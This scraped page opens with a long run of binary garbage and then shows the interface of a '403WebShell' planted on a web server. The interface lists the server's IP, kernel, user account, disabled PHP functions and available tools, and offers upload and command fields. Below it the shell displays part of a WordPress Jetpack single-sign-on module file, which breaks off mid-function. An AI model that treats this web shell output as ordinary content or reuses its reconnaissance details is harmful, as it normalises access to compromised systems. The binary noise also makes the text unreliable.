DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN��ĕ��0 !01@Q"2AaPq3BR������?���@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j�ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^���ԯ̾9Z��F��������n��1��� ��]�[��)�'������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0��;_��3 !01"@AQa2Pq#3BR������?��ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6����������4B>��o��](��$B���m�����a�!=��?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a�84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b��$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7��k�� 403WebShell
403Webshell
Server IP : 54.89.25.11  /  Your IP : 216.73.216.121
Web Server : Apache/2.4.7 (Ubuntu)
System : Linux ip-172-31-88-18 3.13.0-74-generic #118-Ubuntu SMP Thu Dec 17 22:52:10 UTC 2015 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.24
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/kalemon/public/blog/wp-content/plugins/jetpack/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/kalemon/public/blog/wp-content/plugins/jetpack/modules/sso.php
<?php
require_once( JETPACK__PLUGIN_DIR . 'modules/sso/class.jetpack-sso-helpers.php' );
require_once( JETPACK__PLUGIN_DIR . 'modules/sso/class.jetpack-sso-notices.php' );

/**
 * Module Name: Single Sign On
 * Module Description: Allow users to log into this site using WordPress.com accounts
 * Jumpstart Description: Lets you log in to all your Jetpack-enabled sites with one click using your WordPress.com account.
 * Sort Order: 30
 * Recommendation Order: 5
 * First Introduced: 2.6
 * Requires Connection: Yes
 * Auto Activate: No
 * Module Tags: Developers
 * Feature: Security, Jumpstart
 * Additional Search Queries: sso, single sign on, login, log in
 */

class Jetpack_SSO {
	static $instance = null;

	private function __construct() {

		self::$instance = $this;

		add_action( 'admin_init',             array( $this, 'maybe_authorize_user_after_sso' ), 1 );
		add_action( 'admin_init',             array( $this, 'register_settings' ) );
		add_action( 'login_init',             array( $this, 'login_init' ) );
		add_action( 'delete_user',            array( $this, 'delete_connection_for_user' ) );
		add_filter( 'jetpack_xmlrpc_methods', array( $this, 'xmlrpc_methods' ) );
		add_action( 'init',                   array( $this, 'maybe_logout_user' ), 5 );
		add_action( 'jetpack_modules_loaded', array( $this, 'module_configure_button' ) );
		add_action( 'login_form_logout',      array( $this, 'store_wpcom_profile_cookies_on_logout' ) );
		add_action( 'jetpack_unlinked_user',  array( $this, 'delete_connection_for_user') );
		add_action( 'wp_login',               array( 'Jetpack_SSO', 'clear_cookies_after_login' ) );

		// Adding this action so that on login_init, the action won't be sanitized out of the $action global.
		add_action( 'login_form_jetpack-sso', '__return_true' );
	}

	/**
	 * Returns the single instance of the Jetpack_SSO object
	 *
	 * @since 2.8
	 * @return Jetpack_SSO
	 **/
	public static function get_instance() {
		if ( ! is_null( self::$instance ) ) {
			return self::$instance;
		}

		return self::$instance = new Jetpack_SSO;
	}

	/**
	 * Add configure button and functionality to the module card on the Jetpack screen
	 **/
	public static function module_configure_button() {
		Jetpack::enable_module_configurable( __FILE__ );
		Jetpack::module_configuration_load( __FILE__, array( __CLASS__, 'module_configuration_load' ) );
		Jetpack::module_configuration_head( __FILE__, array( __CLASS__, 'module_configuration_head' ) );
		Jetpack::module_configuration_screen( __FILE__, array( __CLASS__, 'module_configuration_screen' ) );
	}

	public static function module_configuration_load() {}

	public static function module_configuration_head() {}

	public static function module_configuration_screen() {
		?>
		<form method="post" action="options.php">
			<?php settings_fields( 'jetpack-sso' ); ?>
			<?php do_settings_sections( 'jetpack-sso' ); ?>
			<?php submit_button(); ?>
		</form>
		<?php
	}

	/**
	 * If jetpack_force_logout == 1 in current user meta the user will be forced
	 * to logout and reauthenticate with the site.
	 **/
	public function maybe_logout_user() {
		global $current_user;

		if ( 1 == $current_user->jetpack_force_logout ) {
			delete_user_meta( $current_user->ID, 'jetpack_force_logout' );
			self::delete_connection_for_user( $current_user->ID );
			wp_logout();
			wp_safe_redirect( wp_login_url() );
			exit;
		}
	}

	/**
	 * Adds additional methods the WordPress xmlrpc API for handling SSO specific features
	 *
	 * @param array $methods
	 * @return array
	 **/
	public function xmlrpc_methods( $methods ) {
		$methods['jetpack.userDisconnect'] = array( $this, 'xmlrpc_user_disconnect' );
		return $methods;
	}

	/**
	 * Marks a user's profile for disconnect from WordPress.com and forces a logout
	 * the next time the user visits the site.
	 **/
	public function xmlrpc_user_disconnect( $user_id ) {
		$user_query = new WP_User_Query(
			array(
				'meta_key' => 'wpcom_user_id',
				'meta_value' => $user_id,
			)
		);
		$user = $user_query->get_results();
		$user = $user[0];

		if ( $user instanceof WP_User ) {
			$user = wp_set_current_user( $user->ID );
			update_user_meta( $user->ID, 'jetpack_force_logout', '1' );
			self::delete_connection_for_user( $user->ID );
			return true;
		}
		return false;
	}

	/**
	 * Enqueues scripts and styles necessary for SSO login.
	 */
	public function login_enqueue_scripts() {
		global $action;

		if ( ! Jetpack_SSO_Helpers::display_sso_form_for_action( $action ) ) {
			return;
		}

		if ( is_rtl() ) {
			wp_enqueue_style( 'jetpack-sso-login', plugins_url( 'modules/sso/jetpack-sso-login-rtl.css', JETPACK__PLUGIN_FILE ), array( 'login', 'genericons' ), JETPACK__VERSION );
		} else {
			wp_enqueue_style( 'jetpack-sso-login', plugins_url( 'modules/sso/jetpack-sso-login.css', JETPACK__PLUGIN_FILE ), array( 'login', 'genericons' ), JETPACK__VERSION );
		}

		wp_enqueue_script( 'jetpack-sso-login', plugins_url( 'modules/sso/jetpack-sso-login.js', JETPACK__PLUGIN_FILE ), array( 'jquery' ), JETPACK__VERSION );
	}

	/**
	 * Adds Jetpack SSO classes to login body
	 *
	 * @param  array $classes Array of classes to add to body tag
	 * @return array          Array of classes to add to body tag
	 */
	public function login_body_class( $classes ) {
		global $action;

		if ( ! Jetpack_SSO_Helpers::display_sso_form_for_action( $action ) ) {
			return $classes;
		}

		// Always add the jetpack-sso class so that we can add SSO specific styling even when the SSO form isn't being displayed.
		$classes[] = 'jetpack-sso';

		if ( ! Jetpack::is_staging_site() ) {
			/**
			 * Should we show the SSO login form?
			 *
			 * $_GET['jetpack-sso-default-form'] is used to provide a fallback in case JavaScript is not enabled.
			 *
			 * The default_to_sso_login() method allows us to dynamically decide whether we show the SSO login form or not.
			 * The SSO module uses the method to display the default login form if we can not find a user to log in via SSO.
			 * But, the method could be filtered by a site admin to always show the default login form if that is preferred.
			 */
			if ( empty( $_GET['jetpack-sso-show-default-form'] ) && Jetpack_SSO_Helpers::show_sso_login() ) {
				$classes[] = 'jetpack-sso-form-display';
			}
		}

		return $classes;
	}

	public function print_inline_admin_css() {
		?>
			<style>
				.jetpack-sso .message {
					margin-top: 20px;
				}

				.jetpack-sso #login .message:first-child,
				.jetpack-sso #login h1 + .message {
					margin-top: 0;
				}
			</style>
		<?php
	}

	/**
	 * Adds settings fields to Settings > General > Single Sign On that allows users to
	 * turn off the login form on wp-login.php
	 *
	 * @since 2.7
	 **/
	public function register_settings() {

		add_settings_section(
			'jetpack_sso_settings',
			__( 'Single Sign On' , 'jetpack' ),
			'__return_false',
			'jetpack-sso'
		);

		/*
		 * Settings > General > Single Sign On
		 * Require two step authentication
		 */
		register_setting(
			'jetpack-sso',
			'jetpack_sso_require_two_step',
			array( $this, 'validate_jetpack_sso_require_two_step' )
		);

		add_settings_field(
			'jetpack_sso_require_two_step',
			'', // __( 'Require Two-Step Authentication' , 'jetpack' ),
			array( $this, 'render_require_two_step' ),
			'jetpack-sso',
			'jetpack_sso_settings'
		);

		/*
		 * Settings > General > Single Sign On
		 */
		register_setting(
			'jetpack-sso',
			'jetpack_sso_match_by_email',
			array( $this, 'validate_jetpack_sso_match_by_email' )
		);

		add_settings_field(
			'jetpack_sso_match_by_email',
			'', // __( 'Match by Email' , 'jetpack' ),
			array( $this, 'render_match_by_email' ),
			'jetpack-sso',
			'jetpack_sso_settings'
		);
	}

	/**
	 * Builds the display for the checkbox allowing user to require two step
	 * auth be enabled on WordPress.com accounts before login. Displays in Settings > General
	 *
	 * @since 2.7
	 **/
	public function render_require_two_step() {
		?>
		<label>
			<input
				type="checkbox"
				name="jetpack_sso_require_two_step"
				<?php checked( Jetpack_SSO_Helpers::is_two_step_required() ); ?>
				<?php disabled( Jetpack_SSO_Helpers::is_require_two_step_checkbox_disabled() ); ?>
			>
			<?php esc_html_e( 'Require Two-Step Authentication' , 'jetpack' ); ?>
		</label>
		<?php
	}

	/**
	 * Validate the require  two step checkbox in Settings > General
	 *
	 * @since 2.7
	 * @return boolean
	 **/
	public function validate_jetpack_sso_require_two_step( $input ) {
		return ( ! empty( $input ) ) ? 1 : 0;
	}

	/**
	 * Builds the display for the checkbox allowing the user to allow matching logins by email
	 * Displays in Settings > General
	 *
	 * @since 2.9
	 **/
	public function render_match_by_email() {
		?>
			<label>
				<input
					type="checkbox"
					name="jetpack_sso_match_by_email"
					<?php checked( Jetpack_SSO_Helpers::match_by_email() ); ?>
					<?php disabled( Jetpack_SSO_Helpers::is_match_by_email_checkbox_disabled() ); ?>
				>
				<?php esc_html_e( 'Match by Email', 'jetpack' ); ?>
			</label>
		<?php
	}

	/**
	 * Validate the match by email check in Settings > General
	 *
	 * @since 2.9
	 * @return boolean
	 **/
	public function validate_jetpack_sso_match_by_email( $input ) {
		return ( ! empty( $input ) ) ? 1 : 0;
	}

	/**
	 * Checks to determine if the user wants to login on wp-login
	 *
	 * This function mostly exists to cover the exceptions to login
	 * that may exist as other parameters to $_GET[action] as $_GET[action]
	 * does not have to exist. By default WordPress assumes login if an action
	 * is not set, however this may not be true, as in the case of logout
	 * where $_GET[loggedout] is instead set
	 *
	 * @return boolean
	 **/
	private function wants_to_login() {
		$wants_to_login = false;

		// Cover default WordPress behavior
		$action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'login';

		// And now the exceptions
		$action = isset( $_GET['loggedout'] ) ? 'loggedout' : $action;

		if ( Jetpack_SSO_Helpers::display_sso_form_for_action( $action ) ) {
			$wants_to_login = true;
		}

		return $wants_to_login;
	}

	function login_init() {
		global $action;

		if ( Jetpack_SSO_Helpers::should_hide_login_form() ) {
			/**
			 * Since the default authenticate filters fire at priority 20 for checking username and password,
			 * let's fire at priority 30. wp_authenticate_spam_check is fired at priority 99, but since we return a
			 * WP_Error in disable_default_login_form, then we won't trigger spam processing logic.
			 */
			add_filter( 'authenticate', array( 'Jetpack_SSO_Notices', 'disable_default_login_form' ), 30 );

			/**
			 * Filter the display of the disclaimer message appearing when default WordPress login form is disabled.
			 *
			 * @module sso
			 *
			 * @since 2.8.0
			 *
			 * @param bool true Should the disclaimer be displayed. Default to true.
			 */
			$display_sso_disclaimer = apply_filters( 'jetpack_sso_display_disclaimer', true );
			if ( $display_sso_disclaimer ) {
				add_filter( 'login_message', array( 'Jetpack_SSO_Notices', 'msg_login_by_jetpack' ) );
			}
		}

		 if ( 'jetpack-sso' === $action ) {
			if ( isset( $_GET['result'], $_GET['user_id'], $_GET['sso_nonce'] ) && 'success' == $_GET['result'] ) {
				$this->handle_login();
				$this->display_sso_login_form();
			} else {
				if ( Jetpack::is_staging_site() ) {
					add_filter( 'login_message', array( 'Jetpack_SSO_Notices', 'sso_not_allowed_in_staging' ) );
				} else {
					// Is it wiser to just use wp_redirect than do this runaround to wp_safe_redirect?
					add_filter( 'allowed_redirect_hosts', array( 'Jetpack_SSO_Helpers', 'allowed_redirect_hosts' ) );
					$reauth = ! empty( $_GET['force_reauth'] );
					$sso_url = $this->get_sso_url_or_die( $reauth );
					JetpackTracking::record_user_event( 'sso_login_redirect_success' );
					wp_safe_redirect( $sso_url );
					exit;
				}
			}
		} else if ( Jetpack_SSO_Helpers::display_sso_form_for_action( $action ) ) {

			// Save cookies so we can handle redirects after SSO
			$this->save_cookies();

			/**
			 * Check to see if the site admin wants to automagically forward the user
			 * to the WordPress.com login page AND  that the request to wp-login.php
			 * is not something other than login (Like logout!)
			 */
			if ( Jetpack_SSO_Helpers::bypass_login_forward_wpcom() && $this->wants_to_login() ) {
				add_filter( 'allowed_redirect_hosts', array( 'Jetpack_SSO_Helpers', 'allowed_redirect_hosts' ) );
				$reauth = ! empty( $_GET['force_reauth'] );
				$sso_url = $this->get_sso_url_or_die( $reauth );
				JetpackTracking::record_user_event( 'sso_login_redirect_bypass_success' );
				wp_safe_redirect( $sso_url );
				exit;
			}

			$this->display_sso_login_form();
		}
	}

	/**
	 * Ensures that we can get a nonce from WordPress.com via XML-RPC before setting
	 * up the hooks required to display the SSO form.
	 */
	public function display_sso_login_form() {
		add_filter( 'login_body_class', array( $this, 'login_body_class' ) );
		add_action( 'login_head',       array( $this, 'print_inline_admin_css' ) );

		if ( Jetpack::is_staging_site() ) {
			add_filter( 'login_message', array( 'Jetpack_SSO_Notices', 'sso_not_allowed_in_staging' ) );
			return;
		}

		$sso_nonce = self::request_initial_nonce();
		if ( is_wp_error( $sso_nonce ) ) {
			return;
		}

		add_action( 'login_form',            array( $this, 'login_form' ) );
		add_action( 'login_enqueue_scripts', array( $this, 'login_enqueue_scripts' ) );
	}

	/**
	 * Conditionally save the redirect_to url as a cookie.
	 *
	 * @since 4.6.0 Renamed to save_cookies from maybe_save_redirect_cookies
	 */
	public static function save_cookies() {
		if ( headers_sent() ) {
			return new WP_Error( 'headers_sent', __( 'Cannot deal with cookie redirects, as headers are already sent.', 'jetpack' ) );
		}

		setcookie(
			'jetpack_sso_original_request',
			esc_url_raw( set_url_scheme( $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ) ),
			time() + HOUR_IN_SECONDS,
			COOKIEPATH,
			COOKIE_DOMAIN,
			false,
			true
		);

		if ( ! empty( $_GET['redirect_to'] ) ) {
			// If we have something to redirect to
			$url = esc_url_raw( $_GET['redirect_to'] );
			setcookie( 'jetpack_sso_redirect_to', $url, time() + HOUR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN, false, true );
		} elseif ( ! empty( $_COOKIE['jetpack_sso_redirect_to'] ) ) {
			// Otherwise, if it's already set, purge it.
			setcookie( 'jetpack_sso_redirect_to', ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
		}
	}

	/**
	 * Outputs the Jetpack SSO button and description as well as the toggle link
	 * for switching between Jetpack SSO and default login.
	 */
	function login_form() {
		$site_name = get_bloginfo( 'name' );
		if ( ! $site_name ) {
			$site_name = get_bloginfo( 'url' );
		}

		$display_name = ! empty( $_COOKIE[ 'jetpack_sso_wpcom_name_' . COOKIEHASH ] )
			? $_COOKIE[ 'jetpack_sso_wpcom_name_' . COOKIEHASH ]
			: false;
		$gravatar = ! empty( $_COOKIE[ 'jetpack_sso_wpcom_gravatar_' . COOKIEHASH ] )
			? $_COOKIE[ 'jetpack_sso_wpcom_gravatar_' . COOKIEHASH ]
			: false;

		?>
		<div id="jetpack-sso-wrap">
			<?php if ( $display_name && $gravatar ) : ?>
				<div id="jetpack-sso-wrap__user">
					<img width="72" height="72" src="<?php echo esc_html( $gravatar ); ?>" />

					<h2>
						<?php
							echo wp_kses(
								sprintf( __( 'Log in as <span>%s</span>', 'jetpack' ), esc_html( $display_name ) ),
								array( 'span' => true )
							);
						?>
					</h2>
				</div>

			<?php endif; ?>


			<div id="jetpack-sso-wrap__action">
				<?php echo $this->build_sso_button( array(), 'is_primary' ); ?>

				<?php if ( $display_name && $gravatar ) : ?>
					<a rel="nofollow" class="jetpack-sso-wrap__reauth" href="<?php echo esc_url( $this->build_sso_button_url( array( 'force_reauth' => '1' ) ) ); ?>">
						<?php esc_html_e( 'Log in as a different WordPress.com user', 'jetpack' ); ?>
					</a>
				<?php else : ?>
					<p>
						<?php
							echo esc_html(
								sprintf(
									__( 'You can now save time spent logging in by connecting your WordPress.com account to %s.', 'jetpack' ),
									esc_html( $site_name )
								)
							);
						?>
					</p>
				<?php endif; ?>
			</div>

			<?php if ( ! Jetpack_SSO_Helpers::should_hide_login_form() ) : ?>
				<div class="jetpack-sso-or">
					<span><?php esc_html_e( 'Or', 'jetpack' ); ?></span>
				</div>

				<a href="<?php echo esc_url( add_query_arg( 'jetpack-sso-show-default-form', '1' ) ); ?>" class="jetpack-sso-toggle wpcom">
					<?php
						esc_html_e( 'Log in with username and password', 'jetpack' )
					?>
				</a>

				<a href="<?php echo esc_url( add_query_arg( 'jetpack-sso-show-default-form', '0' ) ); ?>" class="jetpack-sso-toggle default">
					<?php
						esc_html_e( 'Log in with WordPress.com', 'jetpack' )
					?>
				</a>
			<?php endif; ?>
		</div>
		<?php
	}

	/**
	 * Clear the cookies that store the profile information for the last
	 * WPCOM user to connect.
	 */
	static function clear_wpcom_profile_cookies() {
		if ( isset( $_COOKIE[ 'jetpack_sso_wpcom_name_' . COOKIEHASH ] ) ) {
			setcookie(
				'jetpack_sso_wpcom_name_' . COOKIEHASH,
				' ',
				time() - YEAR_IN_SECONDS,
				COOKIEPATH,
				COOKIE_DOMAIN
			);
		}

		if ( isset( $_COOKIE[ 'jetpack_sso_wpcom_gravatar_' . COOKIEHASH ] ) ) {
			setcookie(
				'jetpack_sso_wpcom_gravatar_' . COOKIEHASH,
				' ',
				time() - YEAR_IN_SECONDS,
				COOKIEPATH,
				COOKIE_DOMAIN
			);
		}
	}

	/**
	 * Clear cookies that are no longer needed once the user has logged in.
	 *
	 * @since 4.8.0
	 */
	static function clear_cookies_after_login() {
		self::clear_wpcom_profile_cookies();
		if ( isset( $_COOKIE[ 'jetpack_sso_nonce' ] ) ) {
			setcookie(
				'jetpack_sso_nonce',
				' ',
				time() - YEAR_IN_SECONDS,
				COOKIEPATH,
				COOKIE_DOMAIN
			);
		}

		if ( isset( $_COOKIE[ 'jetpack_sso_original_request' ] ) ) {
			setcookie(
				'jetpack_sso_original_request',
				' ',
				time() - YEAR_IN_SECONDS,
				COOKIEPATH,
				COOKIE_DOMAIN
			);
		}

		if ( isset( $_COOKIE[ 'jetpack_sso_redirect_to' ] ) ) {
			setcookie(
				'jetpack_sso_redirect_to',
				' ',
				time() - YEAR_IN_SECONDS,
				COOKIEPATH,
				COOKIE_DOMAIN
			);
		}
	}

	static function delete_connection_for_user( $user_id ) {
		if ( ! $wpcom_user_id = get_user_meta( $user_id, 'wpcom_user_id', true ) ) {
			return;
		}
		Jetpack::load_xml_rpc_client();
		$xml = new Jetpack_IXR_Client( array(
			'wpcom_user_id' => $user_id,
		) );
		$xml->query( 'jetpack.sso.removeUser', $wpcom_user_id );

		if ( $xml->isError() ) {
			return false;
		}

		// Clean up local data stored for SSO
		delete_user_meta( $user_id, 'wpcom_user_id' );
		delete_user_meta( $user_id, 'wpcom_user_data'  );
		self::clear_wpcom_profile_cookies();

		return $xml->getResponse();
	}

	static function request_initial_nonce() {
		$nonce = ! empty( $_COOKIE[ 'jetpack_sso_nonce' ] )
			? $_COOKIE[ 'jetpack_sso_nonce' ]
			: false;

		if ( ! $nonce ) {
			Jetpack::load_xml_rpc_client();
			$xml = new Jetpack_IXR_Client( array(
				'user_id' => get_current_user_id(),
			) );
			$xml->query( 'jetpack.sso.requestNonce' );

			if ( $xml->isError() ) {
				return new WP_Error( $xml->getErrorCode(), $xml->getErrorMessage() );
			}

			$nonce = $xml->getResponse();

			setcookie(
				'jetpack_sso_nonce',
				$nonce,
				time() + ( 10 * MINUTE_IN_SECONDS ),
				COOKIEPATH,
				COOKIE_DOMAIN
			);
		}

		return sanitize_key( $nonce );
	}

	/**
	 * The function that actually handles the login!
	 */
	function handle_login() {
		$wpcom_nonce   = sanitize_key( $_GET['sso_nonce'] );
		$wpcom_user_id = (int) $_GET['user_id'];

		Jetpack::load_xml_rpc_client();
		$xml = new Jetpack_IXR_Client( array(
			'user_id' => get_current_user_id(),
		) );
		$xml->query( 'jetpack.sso.validateResult', $wpcom_nonce, $wpcom_user_id );

		$user_data = $xml->isError() ? false : $xml->getResponse();
		if ( empty( $user_data ) ) {
			add_filter( 'jetpack_sso_default_to_sso_login', '__return_false' );
			add_filter( 'login_message', array( 'Jetpack_SSO_Notices', 'error_invalid_response_data' ) );
			return;
		}

		$user_data = (object) $user_data;
		$user = null;

		/**
		 * Fires before Jetpack's SSO modifies the log in form.
		 *
		 * @module sso
		 *
		 * @since 2.6.0
		 *
		 * @param object $user_data WordPress.com User information.
		 */
		do_action( 'jetpack_sso_pre_handle_login', $user_data );

		if ( Jetpack_SSO_Helpers::is_two_step_required() && 0 === (int) $user_data->two_step_enabled ) {
			$this->user_data = $user_data;

			JetpackTracking::record_user_event( 'sso_login_failed', array(
				'error_message' => 'error_msg_enable_two_step'
			) );

			/** This filter is documented in core/src/wp-includes/pluggable.php */
			do_action( 'wp_login_failed', $user_data->login );
			add_filter( 'login_message', array( 'Jetpack_SSO_Notices', 'error_msg_enable_two_step' ) );
			return;
		}

		$user_found_with = '';
		if ( empty( $user ) && isset( $user_data->external_user_id ) ) {
			$user_found_with = 'external_user_id';
			$user = get_user_by( 'id', intval( $user_data->external_user_id ) );
			if ( $user ) {
				update_user_meta( $user->ID, 'wpcom_user_id', $user_data->ID );
			}
		}

		// If we don't have one by wpcom_user_id, try by the email?
		if ( empty( $user ) && Jetpack_SSO_Helpers::match_by_email() ) {
			$user_found_with = 'match_by_email';
			$user = get_user_by( 'email', $user_data->email );
			if ( $user ) {
				update_user_meta( $user->ID, 'wpcom_user_id', $user_data->ID );
			}
		}

		// If we've still got nothing, create the user.
		$new_user_override_role = false;
		if ( empty( $user ) && ( get_option( 'users_can_register' ) || ( $new_user_override_role = Jetpack_SSO_Helpers::new_user_override( $user_data ) ) ) ) {
			/**
			 * If not matching by email we still need to verify the email does not exist
			 * or this blows up
			 *
			 * If match_by_email is true, we know the email doesn't exist, as it would have
			 * been found in the first pass.  If get_user_by( 'email' ) doesn't find the
			 * user, then we know that email is unused, so it's safe to add.
			 */
			if ( Jetpack_SSO_Helpers::match_by_email() || ! get_user_by( 'email', $user_data->email ) ) {

				if ( $new_user_override_role ) {
					$user_data->role = $new_user_override_role;
				}

				$user = Jetpack_SSO_Helpers::generate_user( $user_data );
				if ( ! $user ) {
					JetpackTracking::record_user_event( 'sso_login_failed', array(
						'error_message' => 'could_not_create_username'
					) );
					add_filter( 'login_message', array( 'Jetpack_SSO_Notices', 'error_unable_to_create_user' ) );
					return;
				}

				$user_found_with = $new_user_override_role
					? 'user_created_new_user_override'
					: 'user_created_users_can_register';
			} else {
				JetpackTracking::record_user_event( 'sso_login_failed', array(
					'error_message' => 'error_msg_email_already_exists'
				) );

				$this->user_data = $user_data;
				add_action( 'login_message', array( 'Jetpack_SSO_Notices', 'error_msg_email_already_exists' ) );
				return;
			}
		}

		/**
		 * Fires after we got login information from WordPress.com.
		 *
		 * @module sso
		 *
		 * @since 2.6.0
		 *
		 * @param array  $user      Local User information.
		 * @param object $user_data WordPress.com User Login information.
		 */
		do_action( 'jetpack_sso_handle_login', $user, $user_data );

		if ( $user ) {
			// Cache the user's details, so we can present it back to them on their user screen
			update_user_meta( $user->ID, 'wpcom_user_data', $user_data );

			add_filter( 'auth_cookie_expiration',    array( 'Jetpack_SSO_Helpers', 'extend_auth_cookie_expiration_for_sso' ) );
			wp_set_auth_cookie( $user->ID, true );
			remove_filter( 'auth_cookie_expiration', array( 'Jetpack_SSO_Helpers', 'extend_auth_cookie_expiration_for_sso' ) );

			/** This filter is documented in core/src/wp-includes/user.php */
			do_action( 'wp_login', $user->user_login, $user );

			wp_set_current_user( $user->ID );

			$_request_redirect_to = isset( $_REQUEST['redirect_to'] ) ? esc_url_raw( $_REQUEST['redirect_to'] ) : '';
			$redirect_to = user_can( $user, 'edit_posts' ) ? admin_url() : self::profile_page_url();

			// If we have a saved redirect to request in a cookie
			if ( ! empty( $_COOKIE['jetpack_sso_redirect_to'] ) ) {
				// Set that as the requested redirect to
				$redirect_to = $_request_redirect_to = esc_url_raw( $_COOKIE['jetpack_sso_redirect_to'] );
			}

			$json_api_auth_environment = Jetpack_SSO_Helpers::get_json_api_auth_environment();

			$is_json_api_auth = ! empty( $json_api_auth_environment );
			$is_user_connected = Jetpack::is_user_connected( $user->ID );
			JetpackTracking::record_user_event( 'sso_user_logged_in', array(
				'user_found_with'  => $user_found_with,
				'user_connected'   => (bool) $is_user_connected,
				'user_role'        => Jetpack::translate_current_user_to_role(),
				'is_json_api_auth' => (bool) $is_json_api_auth,
			) );

			if ( $is_json_api_auth ) {
				Jetpack::init()->verify_json_api_authorization_request( $json_api_auth_environment );
				Jetpack::init()->store_json_api_authorization_token( $user->user_login, $user );

			} else if ( ! $is_user_connected ) {
				$calypso_env = ! empty( $_GET['calypso_env'] )
					? sanitize_key( $_GET['calypso_env'] )
					: '';

				wp_safe_redirect(
					add_query_arg(
						array(
							'redirect_to'               => $redirect_to,
							'request_redirect_to'       => $_request_redirect_to,
							'calypso_env'               => $calypso_env,
							'jetpack-sso-auth-redirect' => '1',
						),
						admin_url()
					)
				);
				exit;
			}

			add_filter( 'allowed_redirect_hosts', array( 'Jetpack_SSO_Helpers', 'allowed_redirect_hosts' ) );
			wp_safe_redirect(
				/** This filter is documented in core/src/wp-login.php */
				apply_filters( 'login_redirect', $redirect_to, $_request_redirect_to, $user )
			);
			exit;
		}

		add_filter( 'jetpack_sso_default_to_sso_login', '__return_false' );

		JetpackTracking::record_user_event( 'sso_login_failed', array(
			'error_message' => 'cant_find_user'
		) );

		$this->user_data = $user_data;
